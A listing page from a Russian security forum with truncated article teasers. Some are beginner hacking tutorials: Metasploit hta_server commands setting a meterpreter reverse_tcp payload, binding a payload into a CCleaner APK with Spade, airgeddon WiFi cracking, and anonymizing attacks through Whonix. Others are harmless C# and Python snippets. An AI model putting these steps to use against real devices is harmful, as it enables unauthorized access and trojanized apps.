Форум информационной безопасности

Статья Взлом удаленного ПК: HTA-server

Окт 28

63 842
191

Всем привет! В этой статье я хочу показать взлом удаленного компьютера, а точнее, получение сессии meterpreter c помощью эксплойта - hta_server.

Появился он недавно в версии Metasploit Framework v4.12.34,

так, что прежде чем начать убеждаемся в ее наличии, если отсутствует, обновляемся:

> apt-get update && apt-get upgrade –y && apt-get dist-upgrade

Запускаем Metasploit Framework:

> msfconsole

В появившейся консоли фреймворка пишем:

Код:

use exploit/windows/misc/hta_server
set payload /windows/meterpreter/reverse_tcp
set LHOST 172.16.0.160
set SRVHOST 172.16.0.160
set LPORT 4444
exploit

Теперь, если все проделано, верно, видим экран с таким содержимым:

Теперь немного теории, первая строка обозначает, что обратное подключение (от жертвы) ожидается на адресе 172.16.0.160 и порту 4444.

Вторая, это ссылка которую необходимо доставить нашей цели, но не просто...

Продолжить...

Статья Лучшие Android-инструменты для пентестинга и кибербезопасности 2025

Окт 27

31 262
26

Доброго времени суток, друзья!

Предлагаю создать здесь полезный и постоянно пополняемый список Android-утилит и приложений, которые мы, специалисты по кибербезопасности и энтузиасты, используем для тестирования на безопасность, анализа сетей и просто для повседневных задач.

Для тех, кто стремится к постоянному развитию в области кибербезопасности, на Codeby.net регулярно публикуются актуальные материалы. Рекомендуем ознакомиться с новейшими статьями, которые помогут вам не потерять мотивацию при самообучении и освоить практические навыки, например: «Сам себе наставник: как не потерять мотивацию при самообучении кибербезопасности» и «Как обучаться информационной безопасности на практике: гид по CTF-платформам».

Мы будем...

Продолжить...

Статья Анонимный пентестинг. Kali linux посредством Whonix Gateway

Окт 20

28 626
29

W

Доброго времени суток, сегодня мы рассмотрим такую полезную штуку как: Kali linux через шлюз Whonix Gateway и все это на VirtualBox

Рассказывать вам про преимущества Whonix я не буду, думаю вы и так все знаете сами…

В чем прелесть нашей схемы: в том что мы обеспечиваем себе анонимный пентест любого ресурса т.к наша Kali будет работать через шлюз и даже если вы словите самый опасный и злой руткит на свою Kali он не сольет наш реальный ip адрес.

Что нам потребуется?
1. VirtualBox — качаем с офф

Ссылка скрыта от гостей

.
2. качаем Whonix Gateway с офф

Ссылка скрыта от гостей

.
3. Образ диска Kali Linux с офф

Ссылка скрыта от гостей

4. 15-30 мин для настройки

Приступаем к осуществлению плана:
1. Импортируем настройки Whonix Gateway в Virtual box
2. Подготавливаем почву под Кали в виртуал боксе, нажимаем СОЗДАТЬ.
Name: Вводим имя машины (например: kalilunux)...

Инструменты пентестера

Продолжить...

Статья Нахождение минимального элемента массива

Окт 18

22 091
1

В одной из предыдущих статей мы рассмотрели, как найти максимальный элемент массива, а сегодня хочу показать, как найти минимальный элемент массива в языке c#

Нахождение минимального элемента

Для нахождения минимального элемента массива мы будем использовать метод Min, как один из наиболее распространённых способов для решения данной задачи.

Одномерный массив

В первом примере рассмотрим, как получить минимальное значение в одномерном массиве.

Код:

int [] numbers = {90, 3, 56, 1, 9000, 78};
int minValue = numbers.Min();
//Результат: 1

Многомерный массив

Многомерный массив, в отличие от одномерного массива, не позволяет нам напрямую обратиться к методу Min. Но, это можно легко исправить, если воспользоваться...

Продолжить...

Статья Взлом Android-устройства

Окт 17

55 026
108

Привет! В этой публикации, я опишу действенный способ взлома телефона под управлением ОС Android. Он основывается на сшивании полезной нагрузки с APK файлом.

Для начала скачаем любую программу под Android ( я выбрал, для примера CCleaner) с сайта

Ссылка скрыта от гостей

, попробуем, для начала, на ней.

Затем скачиваем для нашей Kali Linux софт под названием Spade. Для этого пишем в терминале следующее:

Код:

git clone https://github.com/suraj-root/spade.git

После успешного выполнения команды, вводим следующее:

> ./spade.py /root/Desktop/ccleaner.apk (тут мы указываем программе, с каким файлом она должна работать)

После запуска указанной команды вас встретит меню, в котором необходимо будет выбрать тип пайлоада (я выбирал 3), затем она попросит вас указать адрес хоста, на который полезная нагрузка будет «стучаться» в попытке установить соединение. Так же необходимо будет ввести порт.

> lhost > 192.168.0.103

> lport >...

Мобильная безопасность

Продолжить...

Ваши программы на Python

Окт 15

30 598
50

В этой теме вы можете размещать свои программы написанные на Python3

Представлю свой калькулятор написанный еще когда я только начал изучать Python3
калькулятор имеет 5 видов действий и ничего экстраординарного )
умножение , деление , сложение , вычитание , степень
скрипт сохранен в качестве раритета ) и не думаю что будет изменятся

Python:

print("Калькулятор")
print("1)Умножение 2)Деление 3)Сложение 4)Вычитание 5)Степень")
choose = int(input("Выберите действие "))
while choose == 1:
    print("Умножение")
    x = int(input("Введите первое число "))
    y = int(input("Введите второе число "))
    z = x * y
    print("Результат", z)
while choose == 2:
    print("Деление")
    x = int(input("Введите первое число "))
    y = int(input("Введите второе число "))
    z = x / y
    print("Результат", z)
while choose == 3:
    print("Сложение")
    x = int(input("Введите первое число "))
    y = int(input("Введите второе число "))
    z = x + y...

Программирование для ИБ

Продолжить...

Статья The Harvester: инструмент для сбора открытой информации

Окт 12

13 899
18

The Harvester: глубокий анализ открытых данных для профессионалов

Ищете мощный инструмент для OSINT и анализа безопасности? The Harvester — ваш выбор для сбора публичной информации. Он эффективно извлекает данные из Google, Bing, LinkedIn и других источников, помогая специалистам в разведке.

Узнайте, как The Harvester упрощает поиск адресов электронной почты, поддоменов, виртуальных хостов и имен пользователей. Этот инструмент необходим для тестирования на проникновение и укрепления кибербезопасности, предоставляя точные и актуальные данные для глубокого анализа.

Идеально для специалистов по безопасности и OSINT-исследователей, которым нужен надежный помощник для сбора информации."

Форензика и OSINT

Продолжить...

Статья Взлом WiFi для "чайников" :)

Окт 12

80 782
198

Взлом WiFi для новичков (читай "для нубов")

Всем привет!

Я думал, что лучше, чем wifite, для новичков не бывает. Я ошибался. Вашему вниманию предлагается скрипт airgeddon

) Это прям вообще огонь, для тех, кто не любит писать руками команды в терминале. Скрипт хватает handshake и предлагает на выбор несколько вариантов их взлома. Все происходит в полуавтоматическом режиме на русском языке!

Установить airgeddon можно на любой Linux, но сам скрипт требует зависимостей. Все они уже имеются в таких дистрибутивах как Kali/Parrot или BlackArch. Я не хочу рассказывать какие зависимости и как установить, потому что скрипт при запуске всё проверяет и сам укажет вам, каких пакетов не хватает.

Скачиваем и запускаем сам скрипт:

Код:

git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
cd airgeddon/
sudo bash airgeddon.sh

После запуска и проверки его работоспособности (установки зависимостей) можно сделать следующее:
Для...

Сетевые технологии

Продолжить...

Статья Как найти индекс максимального или минимального элемента массива? C#

Окт 12

26 238
0

B

В этой статье хочу показать несколько простых решений, с помощью которых можно найти индекс максимального или минимального элемента массива.

Как найти индекс минимального элемента массива?
Сначала нужно найти минимальный элемент массива, а затем воспользоваться одним из ниже приведенных примеров.

Одномерный массив
Для нахождения индекса минимального элемента в одномерном массиве можно воспользоваться методом IndexOf класса Array, например:

C#:

int [] numbers = {20, 13, 562, 1, 900, 78};
//1. Находим минимальное значение
int minVal = numbers.Min(); //1
//2. Находим индекс
int indexMin = Array.IndexOf(numbers, minVal);
//Результат: 3

Этот же результат можно получить и с помощью метода FindIndex всё того же класса Array, например:

C#:

int indexMin =...

Продолжить...

Статья SSH аудит

Окт 11

4 815
2

Всем привет! Хочу ознакомить вас с одним любопытным инструментом, который возможно пригодится в фазе сбора информации. Называется он SSH-audit.

Общая информация о программе.

Изменения в версии v1.0.20160917 SSH-аудит:

· Создание тестов для сравнения Dropbear SSH версий.

Dropbear - это реализация SSH 2 для систем с ограниченным объёмом оперативной памяти, пригодная для большинства задач по защите передачи данных. В ней реализованы все основные компоненты протокола SSH 2, а также поддержка X11 и туннелирование аутентификации (для использования локальных ключей при установлении соединения с удалённого сервера)

· Добавлен Prospector (Python Static Analysis) возможность конфигурации и запуска скрипта.

· Подпись mpint.

· Реализация сравнения версий OpenSSH.

· Bump version.

Установим утилиту:

> git clone http://github.com/arthepsy/ssh-audit

Перейдем в папку и запустим исполняемый...

Продолжить...

Все сервисы Codeby

Поиск

Поиск

Форум информационной безопасности - Codeby.net

Статья Взлом удаленного ПК: HTA-server

Статья Лучшие Android-инструменты для пентестинга и кибербезопасности 2025

Статья Анонимный пентестинг. Kali linux посредством Whonix Gateway

Статья Нахождение минимального элемента массива

Статья Взлом Android-устройства

Ваши программы на Python

Статья The Harvester: инструмент для сбора открытой информации

Статья Взлом WiFi для "чайников" :)

Статья Как найти индекс максимального или минимального элемента массива? C#

Статья SSH аудит

Hacker Lab

Категории

Наши курсы

Пользователи онлайн

Статистика форума